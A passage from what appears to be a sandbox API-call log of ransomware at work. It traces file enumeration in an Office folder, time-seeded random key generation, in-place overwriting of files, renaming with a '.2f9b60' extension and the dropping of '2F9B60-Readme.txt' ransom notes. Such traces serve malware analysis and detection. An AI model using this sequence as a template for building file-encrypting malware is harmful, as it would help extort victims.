Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff" [0206.614] wcscat (in: _Dest=0x202aca50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff.2f9b60" [0206.614] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff.2f9b60", NtPathName=0x3ed1f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\9edddc7046ff.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310b350 [0209.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b350) returned 1 [0209.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fbaf0) returned 1 [0209.117] NtQueryInformationFile (in: FileHandle=0x25f0, IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888) returned 0x0 [0209.117] NtSetInformationFile (FileHandle=0x25f0, IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aca50) returned 1 [0216.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309f670) returned 1 [0216.093] FlushFileBuffers (hFile=0x25f0) returned 1 [0216.102] CloseHandle (hObject=0x25f0) returned 1 [0219.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x4315fdd0 [0219.193] wcscpy (in: _Dest=0x4315fdd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0219.193] wcscat (in: _Dest=0x4315fdd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt" [0219.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\2f9b60-readme.txt")) returned 0xffffffff [0219.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x329c [0222.814] WriteFile (in: hFile=0x329c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3ed1f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3ed1f730*=0xba9, lpOverlapped=0x0) returned 1 [0225.333] CloseHandle (hObject=0x329c) returned 1 [0225.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315fdd0) returned 1 [0225.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b08d0) returned 1 [0225.854] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0225.854] wcscmp (_String1="bg_Casual.gif", _String2=".") returned 1 [0225.854] wcscmp (_String1="bg_Casual.gif", _String2="..") returned 1 [0225.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b08d0 [0225.855] wcscpy (in: _Dest=0x202b08d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" [0225.855] wcscat (in: _Dest=0x202b08d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0225.855] wcscat (in: _Dest=0x202b08d0, _Source="bg_Casual.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" [0227.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif")) returned 0x20 [0227.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif", dwFileAttributes=0x20) returned 1 [0227.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x610 [0227.181] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x3ed1f820 | out: lpFileSize=0x3ed1f820*=5661) returned 1 [0227.181] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1619, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.181] ReadFile (in: hFile=0x610, lpBuffer=0x3ed1f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ed1f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3ed1f7a0*, lpNumberOfBytesRead=0x3ed1f7e8*=0x4, lpOverlapped=0x0) returned 1 [0227.301] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0227.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202650a0 [0227.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265100 [0227.302] NtQuerySystemTime (in: CurrentTime=0x3ed1f6e0 | out: CurrentTime=0x3ed1f6e0*=132462178312930000) returned 0x0 [0227.302] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x2389145c [0227.302] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x23404bc4 [0227.302] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x55122d5 [0227.302] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6793cd94 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x266fcc1b [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x46e06f44 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3a0302a [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1a0a014c [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x20d73c44 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5718e64e [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3ad5b2fb [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6f800354 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7729d81c [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3f571767 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x577c732 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3b837f90 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1741ac9a [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x51ae4286 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0xb11b92d [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x52ebf175 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x46e06f44 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1b0f3ddb [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x78a1cb1e [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x59dc5057 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x344da4f4 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6b1374b3 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x11f600d5 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3de464a2 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x66bfb38a [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x257e5689 [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1a7c6d8e [0227.303] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5f9e32b1 [0227.304] ReadFile (in: hFile=0x610, lpBuffer=0x42450190, nNumberOfBytesToRead=0x161d, lpNumberOfBytesRead=0x3ed1f6d0, lpOverlapped=0x0 | out: lpBuffer=0x42450190*, lpNumberOfBytesRead=0x3ed1f6d0*=0x161d, lpOverlapped=0x0) returned 1 [0229.662] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.662] WriteFile (in: hFile=0x610, lpBuffer=0x4246a600*, nNumberOfBytesToWrite=0x161d, lpNumberOfBytesWritten=0x3ed1f6d4, lpOverlapped=0x0 | out: lpBuffer=0x4246a600*, lpNumberOfBytesWritten=0x3ed1f6d4*=0x161d, lpOverlapped=0x0) returned 1 [0233.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1eed0 [0233.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1eea0 [0233.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1eea0) returned 1 [0233.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246a600) returned 1 [0233.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42450190) returned 1 [0233.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0233.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0233.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c1eea0 [0233.441] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.442] WriteFile (in: hFile=0x610, lpBuffer=0x42c15710*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3ed1f7f0, lpOverlapped=0x0 | out: lpBuffer=0x42c15710*, lpNumberOfBytesWritten=0x3ed1f7f0*=0x10c, lpOverlapped=0x0) returned 1 [0235.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0235.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0235.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204fd9c0 [0235.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef80 [0235.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff040 [0235.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff040) returned 1 [0235.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f030 [0235.676] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="41") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="29") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="44") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="10") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="26") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="20") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="42") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="65") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="44") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="81") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: _Dest="0b") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f058, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f05a, _Format="%c%c" | out: _Dest="20") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f05c, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f05e, _Format="%c%c" | out: _Dest="42") returned 2 [0235.676] sprintf (in: _Dest=0x1cd9f060, _Format="%c%c" | out: _Dest="44") returned 2 [0235.677] sprintf (in: _Dest=0x1cd9f062, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.677] RtlInitAnsiString (in: DestinationString=0x3ed1f868, SourceString="41294410d6b74c1c2620f4dd4265444d810babdcfb208c42440d" | out: DestinationString="41294410d6b74c1c2620f4dd4265444d810babdcfb208c42440d") [0235.677] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ed1f838, SourceString="41294410d6b74c1c2620f4dd4265444d810babdcfb208c42440d", AllocateDestinationString=1 | out: DestinationString="41294410d6b74c1c2620f4dd4265444d810babdcfb208c42440d") returned 0x0 [0235.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869cc0 [0235.678] wcscat (in: _Dest=0x1ce17630, _Source="41294410d6b74" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74" [0235.678] wcscat (in: _Dest=0x1ce17630, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74.2f9b60" [0235.678] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74.2f9b60", NtPathName=0x3ed1f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\41294410d6b74.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118fd0 [0237.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0237.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430758a0) returned 1 [0237.508] NtQueryInformationFile (in: FileHandle=0x610, IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888) returned 0x0 [0237.508] NtSetInformationFile (FileHandle=0x610, IoStatusBlock=0x3ed1f878, FileInformation=0x3ed1f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17630) returned 1 [0237.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0237.566] FlushFileBuffers (hFile=0x610) returned 1 [0238.216] CloseHandle (hObject=0x610) returned 1 [0241.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce10a50 [0241.488] wcscpy (in: _Dest=0x1ce10a50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0241.488] wcscat (in: _Dest=0x1ce10a50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt" [0241.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\2f9b60-readme.txt")) returned 0x20 [0241.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 [0241.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b08d0) returned 1 [0241.489] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0241.489] wcscmp (_String1="bg_Country.gif", _String2=".") returned 1 [0241.489] wcscmp (_String1="bg_Country.gif", _String2="..") returned 1 [0241.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b08d0 [0241.489] wcscpy (in: _Dest=0x202b08d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" [0241.490] wcscat (in: _Dest=0x202b08d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0241.490] wcscat (in: _Dest=0x202b08d0, _Source="bg_Country.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" [0241.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif")) returned 0x20 [0241.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif", dwFileAttributes=0x20) returned 1 [0241.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ad8 [0241.492] GetFileSizeEx (in: hFile=0x2ad8, lpFileSize=0x3ed1f820 | out: lpFileSize=0x3ed1f820*=32211) returned 1 [0241.492] SetFilePointerEx (in: hFile=0x2ad8, liDistanceToMove=0x7dcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.492] ReadFile (in: hFile=0x2ad8, lpBuffer=0x3ed1f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ed1f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3ed1f7a0*, lpNumberOfBytesRead=0x3ed1f7e8*=0x4, lpOverlapped=0x0) returned 1 [0241.498] SetFilePointerEx (in: hFile=0x2ad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56e0 [0241.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7090 [0241.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f55c0 [0241.499] NtQuerySystemTime (in: CurrentTime=0x3ed1f6e0 | out: CurrentTime=0x3ed1f6e0*=132462178453018000) returned 0x0 [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7db1275d [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7577cde7 [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x2769868a [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5f2e2b84 [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1c5f728e [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5b6c446c [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x2b82997b [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x2ba09d81 [0241.499] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1d199a3b [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x19a7b4d [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3e1c1ed1 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x394a6b69 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6e4e9773 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x649a6017 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x4ec0f06e [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x17a62b1f [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x107e1161 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6fbbb3d1 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6c3fd1c5 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x766f17fc [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x4803cb54 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x470cb0a [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3609c9ca [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x11d4a3b7 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x343e083c [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x546736f1 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3011b90f [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x4e4387c4 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x9dfcdc7 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1c209fc8 [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x698f999a [0241.500] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1d8174d [0241.501] SetFilePointerEx (in: hFile=0x2ad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.501] ReadFile (in: hFile=0x2ad8, lpBuffer=0x4247d540, 